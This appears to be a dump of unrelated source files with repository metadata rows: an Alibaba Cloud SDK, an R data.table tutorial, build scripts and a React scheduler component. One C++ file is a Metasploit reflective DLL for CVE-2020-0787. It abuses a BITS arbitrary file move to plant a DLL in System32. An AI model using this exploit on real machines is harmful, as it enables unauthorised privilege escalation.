async function saveEnvironmentParamWithOptions(uid: string, request: SaveEnvironmentParamRequest, headers: map[string]string, runtime: Util.RuntimeOptions): SaveEnvironmentParamResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.componentUID)) {
body.componentUID = request.componentUID;
}
if (!Util.isUnset(request.componentVersionUID)) {
body.componentVersionUID = request.componentVersionUID;
}
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
if (!Util.isUnset(request.paramUID)) {
body.paramUID = request.paramUID;
}
if (!Util.isUnset(request.provider)) {
body.provider = request.provider;
}
if (!Util.isUnset(request.releaseName)) {
body.releaseName = request.releaseName;
}
if (!Util.isUnset(request.scope)) {
body.scope = request.scope;
}
if (!Util.isUnset(request.value)) {
body.value = request.value;
}
if (!Util.isUnset(request.notes)) {
body.notes = request.notes;
}
if (!Util.isUnset(request.productVersionUID)) {
body.ProductVersionUID = request.productVersionUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('SaveEnvironmentParam', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/environments/${uid}/params`, 'json', req, runtime);
}
model UpdateSnapshotInstanceJoinOptionRequest {
joinSnapshot?: boolean(name='joinSnapshot'),
rootPassword?: string(name='rootPassword'),
}
model UpdateSnapshotInstanceJoinOptionResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateSnapshotInstanceJoinOptionResponse = {
headers: map[string]string(name='headers'),
body: UpdateSnapshotInstanceJoinOptionResponseBody(name='body'),
}
async function updateSnapshotInstanceJoinOption(instanceuid: string, uid: string, request: UpdateSnapshotInstanceJoinOptionRequest): UpdateSnapshotInstanceJoinOptionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateSnapshotInstanceJoinOptionWithOptions(instanceuid, uid, request, headers, runtime);
}
async function updateSnapshotInstanceJoinOptionWithOptions(instanceuid: string, uid: string, request: UpdateSnapshotInstanceJoinOptionRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateSnapshotInstanceJoinOptionResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.joinSnapshot)) {
body.joinSnapshot = request.joinSnapshot;
}
if (!Util.isUnset(request.rootPassword)) {
body.rootPassword = request.rootPassword;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateSnapshotInstanceJoinOption', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/snapshots/${uid}/instances/${instanceuid}`, 'json', req, runtime);
}
model CreateLicenseRequest {
effectiveYear?: long(name='effectiveYear', description='expire time'),
}
model CreateLicenseResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model CreateLicenseResponse = {
headers: map[string]string(name='headers'),
body: CreateLicenseResponseBody(name='body'),
}
async function createLicense(uid: string, request: CreateLicenseRequest): CreateLicenseResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return createLicenseWithOptions(uid, request, headers, runtime);
}
async function createLicenseWithOptions(uid: string, request: CreateLicenseRequest, headers: map[string]string, runtime: Util.RuntimeOptions): CreateLicenseResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.effectiveYear)) {
query.effectiveYear = request.effectiveYear;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('CreateLicense', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/licenses`, 'json', req, runtime);
}
model GetProductResponseBody = {
data?: {
description?: string(name='description'),
name?: string(name='name'),
provider?: string(name='provider'),
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductResponse = {
headers: map[string]string(name='headers'),
body: GetProductResponseBody(name='body'),
}
async function getProduct(uid: string): GetProductResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductWithOptions(uid, headers, runtime);
}
async function getProductWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProduct', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/products/${uid}`, 'json', req, runtime);
}
model AddProductVersionPackageHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model AddProductVersionPackageRequest {
envUID?: string(name='envUID', description='环境UID(Deprecated))'),
packageType?: string(name='packageType', description='ENUM:["full","upgrade"]'),
packageContentType?: string(name='packageContentType', description='ENUM:["all","base"."application"]'),
}
model AddProductVersionPackageResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model AddProductVersionPackageResponse = {
headers: map[string]string(name='headers'),
body: AddProductVersionPackageResponseBody(name='body'),
}
async function addProductVersionPackage(uid: string, request: AddProductVersionPackageRequest): AddProductVersionPackageResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new AddProductVersionPackageHeaders{};
return addProductVersionPackageWithOptions(uid, request, headers, runtime);
}
async function addProductVersionPackageWithOptions(uid: string, request: AddProductVersionPackageRequest, headers: AddProductVersionPackageHeaders, runtime: Util.RuntimeOptions): AddProductVersionPackageResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.envUID)) {
query.envUID = request.envUID;
}
if (!Util.isUnset(request.packageType)) {
query.packageType = request.packageType;
}
if (!Util.isUnset(request.packageContentType)) {
query.packageContentType = request.packageContentType;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
query = OpenApiUtil.query(query),
};
return doROARequest('AddProductVersionPackage', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/hosting/product_versions/${uid}/packages`, 'json', req, runtime);
}
model ListEnvChangeRecordParamsRequest {
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
paramType?: string(name='paramType', description='全局参数传global,组件配置传component'),
}
model ListEnvChangeRecordParamsResponseBody = {
data?: {
list?: [
{
name?: string(name='name'),
value?: string(name='value'),
description?: string(name='description'),
componentName?: string(name='componentName'),
componentReleaseName?: string(name='componentReleaseName'),
parentComponentName?: string(name='parentComponentName'),
parentComponentReleaseName?: string(name='parentComponentReleaseName'),
}
](name='list'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model ListEnvChangeRecordParamsResponse = {
headers: map[string]string(name='headers'),
body: ListEnvChangeRecordParamsResponseBody(name='body'),
}
async function listEnvChangeRecordParams(uid: string, recordUid: string, request: ListEnvChangeRecordParamsRequest): ListEnvChangeRecordParamsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvChangeRecordParamsWithOptions(uid, recordUid, request, headers, runtime);
}
async function listEnvChangeRecordParamsWithOptions(uid: string, recordUid: string, request: ListEnvChangeRecordParamsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvChangeRecordParamsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.paramType)) {
query.paramType = request.paramType;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvChangeRecordParams', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/change_records/${recordUid}/params`, 'json', req, runtime);
}
model ListFoundationVersionsResponseBody = {
data?: {
list?: [
FoundationVersion
](name='list'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListFoundationVersionsResponse = {
headers: map[string]string(name='headers'),
body: ListFoundationVersionsResponseBody(name='body'),
}
async function listFoundationVersions(): ListFoundationVersionsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listFoundationVersionsWithOptions(headers, runtime);
}
async function listFoundationVersionsWithOptions(headers: map[string]string, runtime: Util.RuntimeOptions): ListFoundationVersionsResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListFoundationVersions', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/foundation/versions`, 'json', req, runtime);
}
model UpdateProductVersionConfigRequest {
name?: string(name='name', description='配置信息key'),
value?: string(name='value', description='配置信息value'),
notes?: string(name='notes', description='配置说明'),
componentVersionUID?: string(name='componentVersionUID', description='子组件versinid'),
parentComponentVersionUID?: string(name='parentComponentVersionUID', description='父组件versionid'),
}
model UpdateProductVersionConfigResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model UpdateProductVersionConfigResponse = {
headers: map[string]string(name='headers'),
body: UpdateProductVersionConfigResponseBody(name='body'),
}
async function updateProductVersionConfig(uid: string, request: UpdateProductVersionConfigRequest): UpdateProductVersionConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateProductVersionConfigWithOptions(uid, request, headers, runtime);
}
async function updateProductVersionConfigWithOptions(uid: string, request: UpdateProductVersionConfigRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateProductVersionConfigResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
if (!Util.isUnset(request.value)) {
body.value = request.value;
}
if (!Util.isUnset(request.notes)) {
body.notes = request.notes;
}
if (!Util.isUnset(request.componentVersionUID)) {
body.componentVersionUID = request.componentVersionUID;
}
if (!Util.isUnset(request.parentComponentVersionUID)) {
body.parentComponentVersionUID = request.parentComponentVersionUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateProductVersionConfig', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/product_versions/${uid}/config`, 'json', req, runtime);
}
| Tea | 4 | aliyun/alibabacloud-sdk | cnip-20201201/main.tea | [
"Apache-2.0"
] |
---
title: "Chapter 2"
output:
html_document:
css: style.css
highlight: tango
---
```{r, include=FALSE}
library(knitr)
hook_output <- knit_hooks$get("output")
knit_hooks$set(output = function(x, options) {
lines <- options$output.lines
if (is.null(lines)) {
return(hook_output(x, options)) # pass to default hook
}
x <- unlist(strsplit(x, "\n"))
more <- "..."
if (length(lines)==1) { # first n lines
if (length(x) > lines) {
## truncate the output, but add ....
x <- c(head(x, lines), more)
}
} else {
x <- c(more, x[lines], more)
}
## paste these lines together
x <- paste(c(x, ""), collapse = "\n")
hook_output(x, options)
})
```
```{r, include=FALSE}
knitr::opts_chunk$set(echo = TRUE, fig.align = "center", comment = "#>", message = FALSE)
```
```{r}
require(data.table)
require(ggplot2)
theme_set(
theme_bw(base_size = 14, base_family = "Lato") +
theme(panel.grid = element_blank(), panel.border = element_blank())
)
```
In this chapter we will be learning syntax for performing most common data
manipulation tasks:
* pick variables based on their names
* pick rows based on their values
* aggregate data (counting) by groups
## 2.1 Import data
We're going to use a new dataset here, to demonstrate how to deal with larger
datasets. This is a subset of the of 311 service requests from [NYC Open Data](https://nycopendata.socrata.com/Social-Services/311-Service-Requests-from-2010-to-Present/erm2-nwe9).
```{r}
complaints <- fread("../data/311-service-requests.csv")
sprintf("Shape of the dataset: %d observations and %d variables", NROW(complaints), NCOL(complaints))
```
## 2.2 What's even in it? (the summary)
Let's take a look at the dataset. By default, the `print` function for
`data.table` object only show the first 5 rows and the last 5 rows. (For
illustrative purpose, I already truncated the output)
```{r output.lines = 24}
print(complaints) # long-scrolling
```
## 2.3 Selecting multiple columns and rows
In [chapter 1](http://htmlpreview.github.io/?https://github.com/chuvanan/rdatatable-cookbook/blob/master/cookbook/chapter1-reading-from-a-csv.html),
we've learnt how to select one column. The syntax remains the same for
selecting multiple variables, and the output is always a new `data.table`.
```{r}
## integer indexing (like data.frame)
complaints[, 1:3]
## character indexing (like data.frame)
output1 <- complaints[, c("Agency Name", "Street Name", "Status")]
print(output1)
## bare column names (only works with data.table)
output2 <- complaints[, .(`Agency Name`, `Street Name`, Status)]
identical(output1, output2)
## or more verbose way:
output3 <- complaints[, list(`Agency Name`, `Street Name`, Status)]
identical(output1, output3)
```
To get the first 5 rows of a `data.table`, we can use a slice: `dt[1:5]`
```{r, output.lines = 24}
complaints[1:5] # output is truncated
```
We can combine these to get the first 5 rows of a column:
```{r}
complaints[1:5, .(`Agency Name`)]
```
## 2.4 What's the most common complaint type?
* The base way
```{r}
count_complaint <- tapply(complaints$`Unique Key`, complaints$`Complaint Type`, length)
## or: table(complaints$`Complaint Type`)
print(class(count_complaint))
## noted that the output is an array, you can treat it like a vector (i.e sorting it)
count_complaint <- count_complaint[order(count_complaint, decreasing = TRUE)]
count_complaint[1:10]
```
* The `data.table` way
```{r}
count_complaint2 <- complaints[, .(n = length(`Unique Key`)), by = .(`Complaint Type`)]
count_complaint2 <- count_complaint2[order(n, decreasing = TRUE)]
print(count_complaint2)
## or more concise
count_complain3 <- complaints[, .(n = .N), by = .(`Complaint Type`)][order(n, decreasing = TRUE)]
identical(count_complaint2, count_complain3)
```
```{r}
ggplot(count_complaint2[1:10], aes(reorder(`Complaint Type`, n), n)) +
geom_col(fill = "red4") +
labs(x = NULL, y = NULL) +
coord_flip()
```
## 2.5 How it works
The basics of working with `data.table` are quite simple:
```{r, echo=FALSE, out.width="60%"}
knitr::include_graphics("dt.png")
```
[*I took the image from the [slide](https://twitter.com/arun_sriniv/status/1150287843417346048)
of Arun Srinivasan*]
which means: take data.table `dt`, subset rows using `i` and manipulate columns
with `j`, grouped according to `by`. This syntax allows you to combine several
operations in a very concise and consistent expression.
For example, the following line can be read as count the number of `Unique Key`
per `Complaint Type`.
```{r, eval=FALSE}
complaints[, .(n = length(`Unique Key`)), by = .(`Complaint Type`)]
```
For further documentation on `data.table`, you could start with [intro vignette](https://rdatatable.gitlab.io/data.table/articles/datatable-intro.html),
or learn from community-contributed [articles](https://github.com/Rdatatable/data.table/wiki/Articles).
| RMarkdown | 5 | chuvanan/rdatatable-cookbook | cookbook/chapter2-selecting-data.rmd | [
"CC-BY-4.0"
] |
<%@ WebHandler Language="C#" CodeBehind="Echo.ashx.cs" Class="WebServer.Echo" %>
| ASP | 0 | pyracanda/runtime | src/libraries/Common/tests/System/Net/Prerequisites/Servers/CoreFxNetCloudService/WebServer/Echo.ashx | [
"MIT"
] |
function addition(a,b){ return a+b; }
| HTML+ERB | 3 | mdesantis/rails | actionpack/test/fixtures/star_star_mime/index.js.erb | [
"MIT"
] |
package platform::Cygwin;
use strict;
use warnings;
use Carp;
use vars qw(@ISA);
require platform::mingw;
@ISA = qw(platform::mingw);
# Assume someone set @INC right before loading this module
use configdata;
sub sharedname {
my $class = shift;
my $lib = platform::mingw->sharedname(@_);
$lib =~ s|^lib|cyg| if defined $lib;
return $lib;
}
1;
| Perl | 3 | pmesnier/openssl | Configurations/platform/Cygwin.pm | [
"Apache-2.0"
] |
# Makefile for core library for VMS
# contributed by Jouk Jansen joukj@hrem.nano.tudelft.nl
# Last revision : 30 November 2007
.first
define gl [---.include.gl]
define math [-.math]
define vbo [-.vbo]
define shader [-.shader]
define swrast [-.swrast]
define array_cache [-.array_cache]
define main [-.main]
define glapi [-.glapi]
define tnl [-.tnl]
.include [---]mms-config.
##### MACROS #####
VPATH = RCS
INCDIR = [---.include],[-.main],[-.glapi],[-.shader],[-.shader.slang]
LIBDIR = [---.lib]
CFLAGS = /include=($(INCDIR),[])/define=(PTHREADS=1)/name=(as_is,short)/float=ieee/ieee=denorm
SOURCES = t_context.c t_draw.c \
t_pipeline.c t_vb_fog.c \
t_vb_light.c t_vb_normals.c t_vb_points.c t_vb_program.c \
t_vb_render.c t_vb_texgen.c t_vb_texmat.c t_vb_vertex.c \
t_vertex.c \
t_vertex_generic.c t_vp_build.c
OBJECTS = t_context.obj,t_draw.obj,\
t_pipeline.obj,t_vb_fog.obj,t_vb_light.obj,t_vb_normals.obj,\
t_vb_points.obj,t_vb_program.obj,t_vb_render.obj,t_vb_texgen.obj,\
t_vb_texmat.obj,t_vb_vertex.obj,\
t_vertex.obj,t_vertex_generic.obj,\
t_vp_build.obj
##### RULES #####
VERSION=Mesa V3.4
##### TARGETS #####
# Make the library
$(LIBDIR)$(GL_LIB) : $(OBJECTS)
@ library $(LIBDIR)$(GL_LIB) $(OBJECTS)
clean :
purge
delete *.obj;*
t_context.obj : t_context.c
t_draw.obj : t_draw.c
t_pipeline.obj : t_pipeline.c
t_vb_fog.obj : t_vb_fog.c
t_vb_light.obj : t_vb_light.c
t_vb_normals.obj : t_vb_normals.c
t_vb_points.obj : t_vb_points.c
t_vb_program.obj : t_vb_program.c
t_vb_render.obj : t_vb_render.c
t_vb_texgen.obj : t_vb_texgen.c
t_vb_texmat.obj : t_vb_texmat.c
t_vb_vertex.obj : t_vb_vertex.c
t_vertex.obj : t_vertex.c
t_vertex_generic.obj : t_vertex_generic.c
t_vp_build.obj : t_vp_build.c
| Module Management System | 3 | manggoguy/parsec-modified | pkgs/libs/mesa/src/src/mesa/tnl/descrip.mms | [
"BSD-3-Clause"
] |
package foo
open class A {
fun f(x: Any?) {}
} | Groff | 2 | qussarah/declare | jps-plugin/testData/incremental/classHierarchyAffected/methodNullabilityChanged/A.kt.new.2 | [
"Apache-2.0"
] |
#!/bin/sh
#***************************************************************************
# _ _ ____ _
# Project ___| | | | _ \| |
# / __| | | | |_) | |
# | (__| |_| | _ <| |___
# \___|\___/|_| \_\_____|
#
# Copyright (C) 1998 - 2020, Daniel Stenberg, <daniel@haxx.se>, et al.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at https://curl.se/docs/copyright.html.
#
# You may opt to use, copy, modify, merge, publish, distribute and/or sell
# copies of the Software, and permit persons to whom the Software is
# furnished to do so, under the terms of the COPYING file.
#
# This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
# KIND, either express or implied.
#
###########################################################################
#
# Installation of the header files in the OS/400 library.
#
SCRIPTDIR=`dirname "${0}"`
. "${SCRIPTDIR}/initscript.sh"
cd "${TOPDIR}/include"
# Create the OS/400 source program file for the header files.
SRCPF="${LIBIFSNAME}/H.FILE"
if action_needed "${SRCPF}"
then CMD="CRTSRCPF FILE(${TARGETLIB}/H) RCDLEN(112)"
CMD="${CMD} CCSID(${TGTCCSID}) TEXT('curl: Header files')"
system "${CMD}"
fi
# Create the IFS directory for the header files.
IFSINCLUDE="${IFSDIR}/include/curl"
if action_needed "${IFSINCLUDE}"
then mkdir -p "${IFSINCLUDE}"
fi
# Enumeration values are used as va_arg tagfields, so they MUST be
# integers.
copy_hfile()
{
destfile="${1}"
srcfile="${2}"
shift
shift
sed -e '1i\
#pragma enum(int)\
' "${@}" -e '$a\
#pragma enum(pop)\
' < "${srcfile}" > "${destfile}"
}
# Copy the header files.
for HFILE in curl/*.h ${SCRIPTDIR}/ccsidcurl.h
do case "`basename \"${HFILE}\" .h`" in
stdcheaders|typecheck-gcc)
continue;;
esac
DEST="${SRCPF}/`db2_name \"${HFILE}\" nomangle`.MBR"
if action_needed "${DEST}" "${HFILE}"
then copy_hfile "${DEST}" "${HFILE}"
IFSDEST="${IFSINCLUDE}/`basename \"${HFILE}\"`"
rm -f "${IFSDEST}"
ln -s "${DEST}" "${IFSDEST}"
fi
done
# Copy the ILE/RPG header file, setting-up version number.
versioned_copy "${SCRIPTDIR}/curl.inc.in" "${SRCPF}/CURL.INC.MBR"
rm -f "${IFSINCLUDE}/curl.inc.rpgle"
ln -s "${SRCPF}/CURL.INC.MBR" "${IFSINCLUDE}/curl.inc.rpgle"
# Duplicate file H as CURL to support more include path forms.
if action_needed "${LIBIFSNAME}/CURL.FILE"
then :
else system "DLTF FILE(${TARGETLIB}/CURL)"
fi
CMD="CRTDUPOBJ OBJ(H) FROMLIB(${TARGETLIB}) OBJTYPE(*FILE) TOLIB(*FROMLIB)"
CMD="${CMD} NEWOBJ(CURL) DATA(*YES)"
system "${CMD}"
| Shell | 4 | Greg-Muchka/curl | packages/OS400/make-include.sh | [
"curl"
] |
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
#include "CBitsCom.h"
#include "..\BitsArbitraryFileMove\BitsArbitraryFileMove.h"
PVOID m_pOldValue = nullptr;
#define TEMPO 2000
BOOL EnableWow64FSRedirector()
{
HANDLE hProcess;
BOOL bWow64Process;
hProcess = GetCurrentProcess();
if (!IsWow64Process(hProcess, &bWow64Process))
{
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (bWow64Process)
{
if (!Wow64RevertWow64FsRedirection(m_pOldValue))
{
wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
}
CloseHandle(hProcess);
return TRUE;
}
BOOL DisableWow64FSRedirector()
{
HANDLE hProcess;
BOOL bWow64Process;
hProcess = GetCurrentProcess();
if (!IsWow64Process(hProcess, &bWow64Process))
{
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (bWow64Process)
{
if (!Wow64DisableWow64FsRedirection(&m_pOldValue))
{
wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
}
CloseHandle(hProcess);
return TRUE;
}
LPWSTR AllocMultiByteToWideChar(HANDLE hHeap, LPCSTR pszInput, PDWORD pSize) {
DWORD dwTmpInputSize;
LPWSTR pTmpInput;
dwTmpInputSize = MultiByteToWideChar(CP_UTF8, 0, pszInput, -1, NULL, 0);
dwTmpInputSize = (dwTmpInputSize * sizeof(WCHAR));
pTmpInput = (LPWSTR)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwTmpInputSize);
if (!pTmpInput) {
return 0;
}
MultiByteToWideChar(CP_UTF8, 0, pszInput, -1, pTmpInput, (dwTmpInputSize / sizeof(WCHAR)));
if (pSize) {
*pSize = dwTmpInputSize;
}
return pTmpInput;
}
DWORD exploit(char * metasploitDLLPath) {
BitsArbitraryFileMove bitsArbitraryFileMove;
const WCHAR* targetDLLPath = L"C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll";
HANDLE hProcessHeap = GetProcessHeap();
DWORD pathSize = sizeof(metasploitDLLPath);
LPWSTR unicodeMetasploitDLLPath = AllocMultiByteToWideChar(hProcessHeap, metasploitDLLPath, &pathSize);
if (!bitsArbitraryFileMove.Run(unicodeMetasploitDLLPath, targetDLLPath))
{
return 1;
}
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit((char *)lpReserved);
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
| C++ | 3 | OsmanDere/metasploit-framework | external/source/exploits/CVE-2020-0787/CVE-2020-0787/dllmain.cpp | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
#!/bin/bash
readonly THIS_DIR=$(cd $(dirname $0); pwd)
readonly DOCKERBUILD_DIR="$THIS_DIR/../dockerbuild"
readonly SCRIPTS_JS_DIR="$DOCKERBUILD_DIR/scripts-js"
| Shell | 4 | coreyscherbing/angular | aio/aio-builds-setup/scripts/_env.sh | [
"MIT"
] |
{#ASda}
========
Conclusion
----------
<div class="hidden">
\begin{code}
main = putStrLn "Easter Egg: to force Makefile"
\end{code}
</div>
Conclusion
==========
Liquid Types
------------
<br>
**Types** lift **Program Logic + Analysis** to Modern Programs
<br>
<div class="fragment">
------------------- ------------------------------------------------
**Properties:** Predicates *+ Types*
**Proofs:** SMT Solvers *+ Subtyping*
**Inference:** Abstract Interpretation *+ Hindley-Milner*
------------------- ------------------------------------------------
</div>
Current & Future Work
---------------------
<br>
**Technology**
<br>
+ GHC
+ Speed
+ Effects
+ *Error Messages*
Current & Future Work
---------------------
<br>
**Applications**
<br>
+ Testing
+ Web frameworks
+ Concurrency
+ Code Completion
{#asd}
=======
Thank You!
----------
<br>
<br>
`cabal install liquidhaskell`
Thank You!
----------
<br>
<br>
[`http://goto.ucsd.edu/liquid`](http://goto.ucsd.edu/liquid)
| Literate Haskell | 2 | curiousleo/liquidhaskell | docs/slides/BOS14/lhs/12_Conclusion.lhs | [
"MIT",
"BSD-3-Clause"
] |
version https://git-lfs.github.com/spec/v1
oid sha256:f71231e27643b17f8d63bda4acfb915ecac7e39138d1dd7a645abd26aa228eb3
size 576
| Nit | 0 | JGCRI/lds | indata/WaterFootprint/Report47-App-IV-RasterMaps/Rapeseed/info/arc0006.nit | [
"BSD-3-Clause-LBNL"
] |
import _ from 'underscore'
import moment from 'moment-timezone'
import React from 'react'
import {DateUtils} from 'nylas-exports'
import {RetinaImg} from 'nylas-component-kit'
import b64Imgs from './email-images.json'
import {PLUGIN_URL} from '../scheduler-constants'
const TZ = moment.tz(DateUtils.timeZone).format("z");
export default class ProposedTimeList extends React.Component {
static propTypes = {
draft: React.PropTypes.object,
event: React.PropTypes.object,
inEmail: React.PropTypes.bool,
proposals: React.PropTypes.array.isRequired,
}
static defaultProps = {
draft: {},
inEmail: false,
}
static displayName = "ProposedTimeList";
_proposalUrl(proposalId) {
const {clientId, accountId} = this.props.draft
return `${PLUGIN_URL}/scheduler/${accountId}/${clientId}/${proposalId}`
}
_renderB64Img(name) {
const imgStyles = {
width: "16px",
height: "16px",
display: "inline-block",
marginRight: "10px",
backgroundRepeat: "no-repeat",
backgroundImage: `url('${b64Imgs[name]}')`,
}
return <div style={imgStyles} />
}
_renderHeaderInEmail() {
const styles = {
fontSize: "16px",
fontWeight: 400,
margin: "0 10px 15px 10px",
}
return (
<div>
<h2 style={styles}>
{this._renderB64Img("description")}
{this.props.event.title || this.props.draft.subject}
</h2>
<span style={{margin: "0 10px"}}>
{this._renderB64Img("time")}
Select a time to schedule instantly:
</span>
</div>
)
}
_renderHeaderInCard() {
return (
<span>
<span className="field-icon">
<RetinaImg
name="ic-eventcard-time.png"
mode={RetinaImg.Mode.ContentPreserve}
/>
</span>
<span>Proposed times:</span>
</span>
)
}
_sProposalTimeList() {
if (this.props.inEmail) {
return {
borderRadius: "4px",
border: "1px solid rgba(0,0,0,0.15)",
padding: "15px",
margin: "10px 0",
position: "relative",
}
}
return {
display: "block",
position: "relative",
}
}
_sProposalWrap() {
return {
}
}
_proposalsByDay() {
return _.groupBy(this.props.proposals, (p) => {
return moment.unix(p.start).dayOfYear()
})
}
_sProposalTable() {
return {
width: "100%",
textAlign: "center",
borderSpacing: "0px",
}
}
_sTD() {
return {
padding: "0 10px",
}
}
_sTH() {
return Object.assign({}, this._sTD(), {
fontSize: "12px",
color: "#333333",
textTransform: "uppercase",
fontWeight: 400,
});
}
_sTDInner(isLast) {
const styles = {
borderBottom: "1px solid rgba(0,0,0,0.15)",
borderRight: "1px solid rgba(0,0,0,0.15)",
borderLeft: "1px solid rgba(0,0,0,0.15)",
padding: "10px 5px",
}
if (isLast) {
styles.borderRadius = "0 0 4px 4px";
}
return styles
}
_sTHInner() {
return Object.assign({}, this._sTDInner(), {
borderTop: "1px solid rgba(0,0,0,0.15)",
borderRadius: "4px 4px 0 0",
});
}
_renderProposalTable() {
const byDay = this._proposalsByDay();
let maxLen = 0;
_.each(byDay, (ps) => {
maxLen = Math.max(maxLen, ps.length)
});
const trs = []
for (let i = -1; i < maxLen; i++) {
const tds = []
for (const dayNum of Object.keys(byDay)) {
if (i === -1) {
tds.push(
<th key={dayNum} style={this._sTH()}>
<div style={this._sTHInner()}>
{this._headerTextFromDay(dayNum)}
</div>
</th>
)
} else {
const proposal = byDay[dayNum][i]
if (proposal) {
const isLast = (i === maxLen - 1) || !byDay[dayNum][i + 1]
let timeText;
if (this.props.inEmail) {
const url = this._proposalUrl(proposal.id)
timeText = (
<a href={url} style={{textDecoration: "none"}}>
{this._renderProposalTimeText(proposal)}
</a>
)
} else {
timeText = this._renderProposalTimeText(proposal)
}
tds.push(
<td key={proposal.id} style={this._sTD()}>
<div style={this._sTDInner(isLast)}>{timeText}</div>
</td>
)
} else {
tds.push(
<td key={i + dayNum} style={this._sTD()} />
)
}
}
}
trs.push(
<tr key={i}>{tds}</tr>
)
}
return (
<table
style={this._sProposalTable()}
className="proposed-time-table"
>
<tbody>
{trs}
</tbody>
</table>
)
}
_renderProposalTimeText(proposal) {
const start = moment.unix(proposal.start).format("LT")
const end = moment.unix(proposal.end).add(1, 'second').format("LT")
const tz = <span style={{fontSize: "10px", color: "#aaa"}}>{TZ}</span>
const timestr = `${start} — ${end}`
return <span>{timestr} {tz}</span>
}
_headerTextFromDay(dayNum) {
return moment().dayOfYear(dayNum).format("ddd, MMM D")
}
_sProposalsWrap() {
const styles = {
margin: "10px 0",
}
if (!this.props.inEmail) { styles.paddingLeft = "48px"; }
return styles
}
render() {
let header;
if (this.props.inEmail) {
header = this._renderHeaderInEmail()
} else {
